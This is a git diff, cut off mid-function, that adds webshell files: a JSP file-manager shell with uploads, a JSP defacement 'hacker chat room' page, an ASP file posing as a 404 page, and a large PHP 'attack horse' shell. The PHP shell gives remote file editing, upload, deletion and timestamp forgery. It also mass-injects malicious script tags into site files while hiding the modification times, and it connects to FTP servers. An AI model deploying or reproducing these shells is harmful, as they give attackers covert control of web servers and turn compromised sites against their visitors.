                            建立文件或目录出错。"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); + if (ht.get("cqqUploadFile") != null) + { + + FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); + File f1 = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) + { + f1.delete(); + request.setAttribute("error", "Upload aborted"); + } + else + { + String path = (String) ht.get("path"); + if(path!=null && !path.endsWith("\\")) + path = path + "\\"; + if (!f1.renameTo(new File(path + f1.getName()))) + { + request.setAttribute("error", "Cannot upload file."); + error = true; + f1.delete(); + } + } + } +} +%> + + + + + + + +JSP Shell 岁月联盟专用版本 + + + + + +

                            + + + + + + +
                            + + + + + + +<% +StringBuffer sbFolder=new StringBuffer(""); +StringBuffer sbFile=new StringBuffer(""); +try +{ + File objFile = new File(strDir); + File list[] = objFile.listFiles(); + if(objFile.getAbsolutePath().length()>3) + { + sbFolder.append(" "); + sbFolder.append(strParentFolder[languageNo]+"
                            - - - - - - - - - - - \r\n "); + + + } + for(int i=0;i "); + sbFolder.append(" "); + sbFolder.append(list[i].getName()+"
                            "); + } + else + { + String strLen=""; + String strDT=""; + long lFile=0; + lFile=list[i].length(); + strLen = convertFileSize(lFile); + Date dt=new Date(list[i].lastModified()); + strDT=dt.toLocaleString(); + sbFile.append(""); + sbFile.append(""+list[i].getName()); + sbFile.append(""); + sbFile.append(""+strLen); + sbFile.append(""); + sbFile.append(""+strDT); + sbFile.append(""); + + sbFile.append("  "); + sbFile.append(strFileEdit[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDel[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDown[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileCopy[languageNo]+" "); + } + + } +} +catch(Exception e) +{ + out.println("操作失败: "+e.toString()+""); +} +%> + +
                            + + + + + + + + + +
                            +

                            +
                            www.SYUE.com ,All Rights Reserved. +
                            Any question, please email me admin@syue.com diff --git "a/jsp/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244.jsp" "b/jsp/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244.jsp" new file mode 100644 index 0000000..0b6692e --- /dev/null +++ "b/jsp/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244.jsp" @@ -0,0 +1,51 @@ +<%@page import="java.text.SimpleDateFormat"%> +<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> +<% StringBuffer bf = null; + if (null == application.getAttribute("talks")) { + bf = new StringBuffer(); + } else { + bf = (StringBuffer) application.getAttribute("talks"); + } +%> + + + + +Chinese Hackers' Chating Room + + +
                            +Hacked! Owned by Chinese Hackers!
                            +

                            菊花聊天室

                            +
                            +
                            +

                            + +

                            Chating Room is Powered By Silic Group Hacker Army©2009-2012

                            + +
                            +<% +request.setCharacterEncoding("UTF-8"); +String p1 = request.getParameter("what"); +if (null != p1 && p1.length() > 0) { +p1 = p1.replaceAll("<","<"); +p1 = p1.replaceAll(">",">"); +String msg = "
                            "+p1+"
                            "+request.getRemoteAddr()+"的童鞋 >>> Fucked at: "+new SimpleDateFormat("yyyy-MM-dd hh:mm:ss").format(new Date())+"
                            "; +bf.append(msg); +application.setAttribute("talks", bf); +response.setHeader("refresh","1"); +} +%> +
                            +<% +StringBuffer b = (StringBuffer) application.getAttribute("talks"); +if (null != b && b.length() > 0) { +out.println(b.toString()); +} +%> + diff --git "a/php/404\351\241\265\351\235\242\345\260\217\351\251\254.asp" "b/php/404\351\241\265\351\235\242\345\260\217\351\251\254.asp" new file mode 100644 index 0000000..8ab3c4c --- /dev/null +++ "b/php/404\351\241\265\351\235\242\345\260\217\351\251\254.asp" @@ -0,0 +1,10 @@ + + +404 Not Found + +

                            Not Found

                            +

                            The requested URL /test/download/test1.php was not found on this server.

                            + + diff --git "a/php/6.0\347\211\210\346\234\254php\346\224\273\345\207\273\351\251\254.php" "b/php/6.0\347\211\210\346\234\254php\346\224\273\345\207\273\351\251\254.php" new file mode 100644 index 0000000..6565270 --- /dev/null +++ "b/php/6.0\347\211\210\346\234\254php\346\224\273\345\207\273\351\251\254.php" @@ -0,0 +1,1053 @@ + + *{padding:0; margin:0;} + body{background:threedface;font-family:"Verdana", "Tahoma", sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;} + a{color:#000000;text-decoration:none;} + a:hover{background:#33FF33;} + table{color:#000000;font-family:"Verdana", "Tahoma", sans-serif;font-size:13px;border:1px solid #999999;} + td{background:#F9F6F4;} + .bt{background:#3d3d3d;color:#ffffff;border:2px;font:13px Arial,Tahoma;height:22px;} + .toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #999999 #FFFFFF; border-style:solid;border-width:1px;} + .msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;} + .actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;} +\n +END; +return false; } function File_Str($string) { return str_replace('//','/',str_replace('\\','/',$string)); } function File_Size($size) { if($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G'; elseif($size > 1048576) $size = round($size / 1048576 * 100) / 100 . ' M'; elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K'; else $size = $size . ' B'; return $size; } function File_Mode() { $RealPath = realpath('./'); $SelfPath = $_SERVER['PHP_SELF']; $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/')); return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath))); } function File_Read($filename) { $handle = @fopen($filename,"rb"); $filecode = @fread($handle,@filesize($filename)); @fclose($handle); return $filecode; } function File_Write($filename,$filecode,$filemode) { $handle = @fopen($filename,$filemode); $key = @fwrite($handle,$filecode); if(!$key) { @chmod($filename,0666); $key = @fwrite($handle,$filecode); } @fclose($handle); return $key; } function File_Up($filea,$fileb) { $key = @copy($filea,$fileb) ? true : false; if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false; return $key; } function File_Down($filename) { if(!file_exists($filename)) return false; $filedown = basename($filename); $array = explode('.', $filedown); $arrayend = array_pop($array); header('Content-type: application/x-'.$arrayend); header('Content-Disposition: attachment; filename='.$filedown); header('Content-Length: '.filesize($filename)); @readfile($filename); exit; } function File_Deltree($deldir) { if(($mydir = @opendir($deldir)) == NULL) return false; while(false !== ($file = @readdir($mydir))) { $name = File_Str($deldir.'/'.$file); if((is_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);rmdir($name);} if(is_file($name)){@chmod($name,0777);@unlink($name);} } @closedir($mydir); @chmod($deldir,0777); return @rmdir($deldir) ? true : false; } function File_Act($array,$actall,$inver) { if(($count = count($array)) == 0) return 'select file plz'; $i = 0; while($i < $count) { $array[$i] = urldecode($array[$i]); switch($actall) { case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return '路径错误'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = '复制'; break; case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = '删除'; break; case "c" : if(!eregi("^[0-7]{4}$",$inver)) return '错误属性值'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = '改变属性'; break; case "d" : @touch($array[$i],strtotime($inver)); $msg = '改变时间'; break; } $i++; } return '选择文件 '.$msg.' 成功'; } function File_Edit($filepath,$filename,$dim = '') { $THIS_DIR = urlencode($filepath); $THIS_FILE = File_Str($filepath.'/'.$filename); if(file_exists($THIS_FILE)){$FILE_TIME = @date('Y-m-d H:i:s',filemtime($THIS_FILE));$FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));} else {$FILE_TIME = @date('Y-m-d H:i:s',time());$FILE_CODE = '';} print<< +var NS4 = (document.layers); +var IE4 = (document.all); +var win = this; +var n = 0; +function search(str){ + var txt, i, found; + if(str == "")return false; + if(NS4){ + if(!win.find(str)) while(win.find(str, false, true)) n++; else n++; + if(n == 0) alert(str + " ... Not-Find") + } + if(IE4){ + txt = win.document.body.createTextRange(); + for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){ + txt.moveStart("character", 1); + txt.moveEnd("textedit") + } + if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++} + else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")} + } + return false +} +function CheckDate(){ + var re = document.getElementById('mtime').value; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('wrong time!format:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('editor').submit();} +} + +
                            search content: +
                            +
                            +
                            +
                            +
                            change file time
                            +
                            +
                            +
                            +END; +} function File_a($p) { $MSG_BOX = '等待消息队列......'; if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/'; $UP_DIR = urlencode(File_Str($p.'/..')); $REAL_DIR = File_Str(realpath($p)); $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); $THIS_DIR = urlencode(File_Str($p)); $UP_DIR = urlencode(File_Str(dirname($p))); $NUM_D = 0; $NUM_F = 0; if(!empty($_POST['pfn'])){$intime = @strtotime($_POST['mtime']);$MSG_BOX = File_Write($_POST['pfn'],$_POST['pfc'],'wb') ? '编辑文件 '.$_POST['pfn'].' success' : '编辑文件 '.$_POST['pfn'].' faild';@touch($_POST['pfn'],$intime);} if(!empty($_POST['ufs'])){if($_POST['ufn'] != '') $upfilename = $_POST['ufn']; else $upfilename = $_FILES['ufp']['name'];$MSG_BOX = File_Up($_FILES['ufp']['tmp_name'],File_Str($p.'/'.$upfilename)) ? 'upfile '.$upfilename.' success' : 'upfile '.$upfilename.' ';} if(!empty($_POST['actall'])){$MSG_BOX = File_Act($_POST['files'],$_POST['actall'],$_POST['inver']);} if(!empty($_GET['mn'])){$MSG_BOX = @rename(File_Str($p.'/'.$_GET['mn']),File_Str($p.'/'.$_GET['rn'])) ? '重命名 '.$_GET['mn'].' to '.$_GET['rn'].' success' : '重命名 '.$_GET['mn'].' to '.$_GET['rn'].' faild';} if(!empty($_GET['dn'])){$MSG_BOX = @mkdir(File_Str($p.'/'.$_GET['dn']),0777) ? 'create folder '.$_GET['dn'].' success' : 'create folder '.$_GET['dn'].' faild';} if(!empty($_GET['dd'])){$MSG_BOX = File_Deltree($_GET['dd']) ? '删除文件夹 '.$_GET['dd'].' 成功' : '删除文件夹 '.$_GET['dd'].' 失败';} if(!empty($_GET['df'])){if(!File_Down($_GET['df'])) $MSG_BOX = 'the download file does not exists';} Root_CSS(); print<< + function Inputok(msg,gourl) + { + smsg = "current file:[" + msg + "]"; + re = prompt(smsg,unescape(msg)); + if(re) + { + var url = gourl + escape(re); + window.location = url; + } + } + function Delok(msg,gourl) + { + smsg = "sure for del [" + unescape(msg) + "] ?"; + if(confirm(smsg)) + { + if(gourl == 'b'){document.getElementById('actall').value = escape(gourl);document.getElementById('fileall').submit();} + else window.location = gourl; + } + } + function CheckDate(msg,gourl) + { + smsg = "current file time:[" + msg + "]"; + re = prompt(smsg,msg); + if(re) + { + var url = gourl + re; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('time error!format:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();} + } + } + function CheckAll(form) + { + for(var i=0;i +
                            {$MSG_BOX}
                            +
                            +
                            + +
                            +
                            +
                            + + + + + +
                            +
                            +
                            + + + + + + +END; +if(($h_d = @opendir($p)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' or $Filename == '..') continue; $Filepath = File_Str($p.'/'.$Filename); if(is_dir($Filepath)) { $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); $Filepath = urlencode($Filepath); echo "\n".''; $Filename = urlencode($Filename); echo ''; echo ''; echo ' '; echo ''."\n"; $NUM_D++; } } @rewinddir($h_d); while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' or $Filename == '..') continue; $Filepath = File_Str($REAL_DIR.'/'.$Filename); if(!is_dir($Filepath)) { $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath); $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); $Filesize = File_Size(@filesize($Filepath)); if($Filepath == File_Str(__FILE__)) $fname = ''.$Filename.''; else $fname = $Filename; echo "\r\n".' '; $Filepath = urlencode($Filepath); $Filename = urlencode($Filename); echo ' '; echo ' '; echo ' '; echo ' '."\r\n"; $NUM_F++; } } @closedir($h_d); print<< +
                            + + + + + + +文件夹({$NUM_D}) / 文件({$NUM_F})
                            + +END; +return true; } function Guama_Pass($length) { $possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $str = ""; while(strlen($str) < $length) $str .= substr($possible,(rand() % strlen($possible)),1); return $str; } function Guama_Auto($gp,$gt,$gl,$gc,$incode,$gk,$gd,$gb,$go) { if(($h_d = @opendir($gp)) == NULL) return false; if($go) { preg_match_all("/\[\-([^~]*?)\-\]/i",$gc,$nc); $passm = (int)$nc[1][0]; if((!eregi("^[0-9]{1,2}$",$nc[1][0])) || ($passm > 12)) return false; } while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; if($gl != ''){if(eregi($gl,$Filename)) continue;} $Filepath = File_Str($gp.'/'.$Filename); if(is_dir($Filepath) && $gb) Guama_Auto($Filepath,$gt,$gl,$gc,$incode,$gk,$gd,$gb,$go); if(eregi($gt,$Filename)) { $ic = File_Read($Filepath); if(stristr($ic,$gk)) continue; if($go) $gc = str_replace($nc[0][0],Guama_Pass($passm),$gc); if($gd) $ftime = @filemtime($Filepath); if($incode == '1'){if(!stristr($ic,'')) continue; $ic = str_replace('',"\r\n".$gc."\r\n".''."\r\n",$ic); $ic = str_replace('',"\r\n".$gc."\r\n".''."\r\n",$ic);} if($incode == '2') $ic = $gc."\r\n".$ic; if($incode == '3') $ic = $ic."\r\n".$gc; echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'
                            '."\r\n" : 'err:'.$Filepath.'
                            '."\r\n"; if($gd) @touch($Filepath,$ftime); ob_flush(); flush(); } } @closedir($h_d); return true; } function Guama_b() { if((!empty($_POST['gp'])) && (!empty($_POST['gt'])) && (!empty($_POST['gc']))) { $gk = ''; $go = false; $gt = str_replace('.','\\.',$_POST['gt']); $gl = isset($_POST['gl']) ? str_replace('.','\\.',$_POST['gl']) : ''; $gd = isset($_POST['gd']) ? true : false; $gb = ($_POST['gb'] == 'a') ? true : false; if(isset($_POST['gx'])){$gk = $_POST['gc'];if(stristr($_POST['gc'],'[-') && stristr($_POST['gc'],'-]')){$temp = explode('[-',$_POST['gc']); $gk = $temp[0]; $go = true;}} echo Guama_Auto($_POST['gp'],$gt,$gl,$_POST['gc'],$_POST['incode'],$gk,$gd,$gb,$go) ? '成功' : '失败'; echo '
                            '; return false; } $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); print<< +function Fulll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";sform.gp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";sform.gt.value = Str[i];} + return true; +} +function autorun(){ + if(document.getElementById('gp').value == ''){alert('路径不能为空');return false;} + if(document.getElementById('gt').value == ''){alert('类型不能为空');return false;} + if(document.getElementById('gc').value == ''){alert('代码不能为空');return false;} + document.getElementById('sform').submit(); +} + +
                            +
                            挂马路径: +
                            +
                            文件类型: +
                            +
                            过滤对象: +开启 关闭
                            +
                            挂马代码: +
                            挂马变形说明: 程序自动寻找[-6-]标签,替换为随机字符,6表示六位随机字符,最大12位,如果不变形可以不加[-6-]标签. +
                            Example: <script language=javascript src="http://www.baidu.com/ad.js?EMTDSU"></script>
                            +
                            插入</head>标签之前; +插入文件最顶端 +插入文件最末尾
                            +
                            智能过滤重复代码 保持文件修改时间不变
                            +
                            将挂马应用于该文件夹,子文件夹和文件 +
                            仅将挂马应用于该文件夹
                            +
                            + +END; +return true; } function Qingma_Auto($qp,$qt,$qc,$qd,$qb) { if(($h_d = @opendir($qp)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File_Str($qp.'/'.$Filename); if(is_dir($Filepath) && $qb) Qingma_Auto($Filepath,$qt,$qc,$qd,$qb); if(eregi($qt,$Filename)) { $ic = File_Read($Filepath); if(!stristr($ic,$qc)) continue; $ic = str_replace($qc,'',$ic); if($qd) $ftime = @filemtime($Filepath); echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'
                            '."\r\n" : 'err:'.$Filepath.'
                            '."\r\n"; if($qd) @touch($Filepath,$ftime); ob_flush(); flush(); } } @closedir($h_d); return true; } function Qingma_c() { if((!empty($_POST['qp'])) && (!empty($_POST['qt'])) && (!empty($_POST['qc']))) { $qt = str_replace('.','\\.',$_POST['qt']); $qd = isset($_POST['qd']) ? true : false; $qb = ($_POST['qb'] == 'a') ? true : false; echo Qingma_Auto($_POST['qp'],$qt,$_POST['qc'],$qd,$qb) ? '成功' : '失败'; echo '
                            '; return false; } $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); print<< +function Fullll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";xform.qp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";xform.qt.value = Str[i];} + return true; +} +function autoup(){ + if(document.getElementById('qp').value == ''){alert('文件路劲不能为空');return false;} + if(document.getElementById('qt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('qc').value == ''){alert('代码不能为空');return false;} + document.getElementById('xform').submit(); +} + +
                            +
                            清马路径: +
                            +
                            文件类型: +
                            +
                            清除代码
                            +
                            保持文件修改时间不变
                            +
                            将清马应用于该文件夹,子文件夹和文件 +
                            仅将清马应用于该文件夹
                            +
                            + +END; +return true; } function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb) { if(($h_d = @opendir($tp)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File_Str($tp.'/'.$Filename); if(is_dir($Filepath) && $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb); $doing = false; if(eregi($tt,$Filename)) { $ic = File_Read($Filepath); if($th) { if(!stristr($ic,$tca)) continue; $ic = str_replace($tca,$tcb,$ic); $doing = true; } else { preg_match_all("/\'."\r\n" : 'err:'.$Filepath.'
                            '."\r\n"; if($td) @touch($Filepath,$ftime); ob_flush(); flush(); } } @closedir($h_d); return true; } function Tihuan_d() { if((!empty($_POST['tp'])) && (!empty($_POST['tt']))) { $tt = str_replace('.','\\.',$_POST['tt']); $td = isset($_POST['td']) ? true : false; $tb = ($_POST['tb'] == 'a') ? true : false; $th = ($_POST['th'] == 'a') ? true : false; if($th) $_POST['tca'] = str_replace('.','\\.',$_POST['tca']); echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? '成功' : '失败'; echo '
                            '; return false; } $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); print<< +function Fulllll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];} + return true; +} +function showth(th){ + if(th == 'a') document.getElementById('setauto').innerHTML = '
                            Searchment
                            Replacement '; + if(th == 'b') document.getElementById('setauto').innerHTML = '
                            Download Suffix

                               Replacement   '; + return true; +} +function autoup(){ + if(document.getElementById('tp').value == ''){alert('文件路径不能为空');return false;} + if(document.getElementById('tt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('tca').value == '' || document.getElementById('tcb').value == ''){alert('替换内容不能为空');return false;} + document.getElementById('tform').submit(); +} + +
                            +
                            替换路径: +
                            +
                            Type: +
                            +
                            替换文件中的指定内容 替换文件中的下载地址
                            +
                            查找内容: 
                            替换成为:
                            +
                            保持文件修改时间不变
                            +
                            将替换应用于该文件夹,子文件夹和文件 +
                            仅将替换应用于该文件夹
                            +
                            + +END; +return true; } function Antivirus_Auto($sp,$features,$st) { if(($h_d = @opendir($sp)) == NULL) return false; $ROOT_DIR = File_Mode(); while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File_Str($sp.'/'.$Filename); if(is_dir($Filepath)) Antivirus_Auto($Filepath,$features,$st); if(eregi($st,$Filename)) { if($Filepath == File_Str(__FILE__)) continue; $ic = File_Read($Filepath); foreach($features as $var => $key) { if(stristr($ic,$key)) { $Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); echo '
                            '.$Filepath.'
                            编辑删除】 '; echo '【'.$Filetime.'】 '.$var.'

                            '; break; } } ob_flush(); flush(); } } @closedir($h_d); return true; } function Antivirus_e() { if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo ' 删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? ' 删除成功' : ' 删除失败';} return false;} if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } $SCAN_DIR = (File_Mode() == '') ? File_Str(dirname(__FILE__)) : File_Mode(); $features_php = array('ftp.class.php'=>'ftp.class.php','cha88.cn'=>'cha88.cn','Security Angel Team'=>'Security Angel Team','read()'=>'->read()','readdir'=>'readdir(','return string soname'=>'returns string soname','eval()'=>'eval(gzinflate(','eval(base64_decode())'=>'eval(base64_decode(','eval($_POST)'=>'eval($_POST','eval($_REQUEST)'=>'eval($_REQUEST','eval ($_)'=>'eval ($_','copy()'=>'copy($_FILES','copy ()'=>'copy ($_FILES','move_uploaded_file()'=>'move_uploaded_file($_FILES','move_uploaded_file ()'=>'move_uploaded_file ($_FILES','str_replace()'=>'str_replace(\'\\\\\',\'/\','); $features_asx = array('绝对路径'=>'绝对路径','输入马的内容'=>'输入马的内容','fso.createtextfile()'=>'fso.createtextfile(path,true)','<%execute(request())%>'=>'<%execute(request','<%eval request()%>'=>'<%eval request','execute session()'=>'execute session(','--Created!'=>'--Created!','WScript.Shell'=>'WScript.Shell','<%s LANGUAGE = VBScript.Encode %>'=>'<%@ LANGUAGE = VBScript.Encode %>','www.rootkit.net.cn'=>'www.rootkit.net.cn','Process.GetProcesses'=>'Process.GetProcesses','lake2'=>'lake2'); print<<
                            +扫描路径: + + +
                            +END; +if(!empty($_POST['sp'])) { if($_POST['st'] == 'php'){$features_all = $features_php; $st = '\.php|\.inc|\.php4|\.php3|\._hp|\;';} if($_POST['st'] == 'asx'){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\.cdx|\;';} if($_POST['st'] == 'ppp'){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.php4|\.php3|\._hp|\.asp|\.asa|\.cer|\.cdx|\.aspx|\.ascx|\;';} echo Antivirus_Auto($_POST['sp'],$features_all,$st) ? '成功' : '失败'; } echo ''; return true; } function Findfile_Auto($sfp,$sfc,$sft,$sff,$sfb) { if(($h_d = @opendir($sfp)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; if(eregi($sft,$Filename)) continue; $Filepath = File_Str($sfp.'/'.$Filename); if(is_dir($Filepath) && $sfb) Findfile_Auto($Filepath,$sfc,$sft,$sff,$sfb); if($sff) { if(stristr($Filename,$sfc)) { echo ' '.$Filepath.'
                            '."\r\n"; ob_flush(); flush(); } } else { $File_code = File_Read($Filepath); if(stristr($File_code,$sfc)) { echo ' '.$Filepath.'
                            '."\r\n"; ob_flush(); flush(); } } } @closedir($h_d); return true; } function Findfile_j() { if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '删除成功' : '删除失败';} return false;} if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } $SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode(); $SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config'; $SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip'; print<< +
                            扫描路径
                            +
                             过滤文件 
                            +
                            关键字串 +搜索文件名 +搜索包含关键字
                            +
                            将搜索应用于该文件夹,子文件夹和文件 + +
                            仅将搜索应用于该文件夹
                            +
                            + +END; +if((!empty($_POST['sfp'])) && (!empty($_POST['sfc']))) { echo '
                            '; $_POST['sft'] = str_replace('.','\\.',$_POST['sft']); $sff = ($_POST['sff'] == 'a') ? true : false; $sfb = ($_POST['sfb'] == 'a') ? true : false; echo Findfile_Auto($_POST['sfp'],$_POST['sfc'],$_POST['sft'],$sff,$sfb) ? '成功' : 'Error'; echo '
                            '; } return true; } function filecollect($dir,$filelist) { $files = ftp_nlist($conn,$dir); return $files; } function ftp_php(){ $dir = ""; $ftphost = isset($_POST['ftphost']) ? $_POST['ftphost'] : '127.0.0.1'; $ftpuser = isset($_POST['ftpuser']) ? $_POST['ftpuser'] : 'root'; $ftppass = isset($_POST['ftppass']) ? $_POST['ftppass'] : 'root'; $ftplist = isset($_POST['list']) ? $_POST['list'] : ''; $ftpfolder = isset($_POST['ftpfolder']) ? $_POST['ftpfolder'] : '/'; $ftpfolder = strtr($ftpfolder,"\\","/"); $files = isset($_POST['readfile']) ? $_POST['readfile'] : ''; print<<
                            用PHP链接ftp服务

                            +

                            +
                            主机: +用户: +密码:

                            + +文件夹: + +

                            +END; +if($ftplist == 'list'){ $conn = @ftp_connect($ftphost) or die("不能链接ftp服务"); if(@ftp_login($conn,$ftpuser,$ftppass)){ $filelists = @ftp_nlist( $conn, $ftpfolder ); echo "
                            "; echo "当前目录是 $ftpfolder:
                            "; if(is_array($filelists)) { foreach ($filelists as $file) { $file = strtr($file,"\\","/"); $size_file =@ftp_size($conn, $file); if ( $size_file == -1) { $a=$a.basename($file)."
                            "; } else { $b=$b.basename($file)." ".$size_file."B
                            "; } } } echo $a; echo $b; echo "
                            "; } } print<< +
                            文件名: + +

                            +END; +$readaction = isset($_POST['read']) ? $_POST['read'] : ''; if ($readaction == 'read') { $handle = @file_get_contents("ftp://$ftpuser:$ftppass@$ftphost/$files", "r"); $handle = htmlspecialchars($handle); $handle = str_replace("\n", "
                            ", $handle); echo "$files 内容是:

                            "; echo $handle; } print<< +
                            文件夹: + + +

                            +END; +$upaction = isset($_POST['upfile']) ? $_POST['upfile'] : '' ; if ($upaction == 'upfile') { $cdir = isset($_POST['cdir']) ? $_POST['cdir'] : '/'; $conn = @ftp_connect($ftphost) or die("不能链接ftp服务"); if(@ftp_login($conn,$ftpuser,$ftppass)){ @ftp_chdir($conn, $cdir); $res_code = @ftp_put($conn,$_FILES['upload']['name'],$_FILES['upload']['tmp_name'], FTP_BINARY,0); if (empty($res_code)){ echo 'ftp上传失败
                            '; } else{ echo 'ftp上传成功
                            '; } } } print<< +
                            文件路径: + +

                            +END; +$getfile = isset($_POST['downfile']) ? $_POST['downfile'] : ''; $getaction = isset($_POST['getfile']) ? $_POST['getfile'] : ''; if ($getaction == 'down' && $getfile !=''){ function php_ftp_download($filename){ global $ftphost,$ftpuser,$ftppass; $ftp_path = dirname($filename) . "/"; $select_file = basename($filename); $ftp = @ftp_connect($ftphost); if($ftp){ if(@ftp_login($ftp, $ftpuser, $ftppass)){ if(@ftp_chdir($ftp,$ftp_path)) { $tmpfile = tempnam(getcwd(),"temp"); if(ftp_get($ftp,$tmpfile,$select_file,FTP_BINARY)){ ftp_quit($ftp); header("Content-Type:application/octet-stream"); header("Content-Disposition:attachment; filename=" . $select_file); unlink($tmpfile); exit; } } } } ftp_quit($ftp); } php_ftp_download($getfile); } } function Info_Cfg($varname){switch($result = get_cfg_var($varname)){case 0: return "No"; break; case 1: return "Yes"; break; default: return $result; break;}} function Info_Fun($funName){return (false !== function_exists($funName)) ? "Yes" : "No";} function Info_f() { $dis_func = get_cfg_var("disable_functions"); $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "upfile 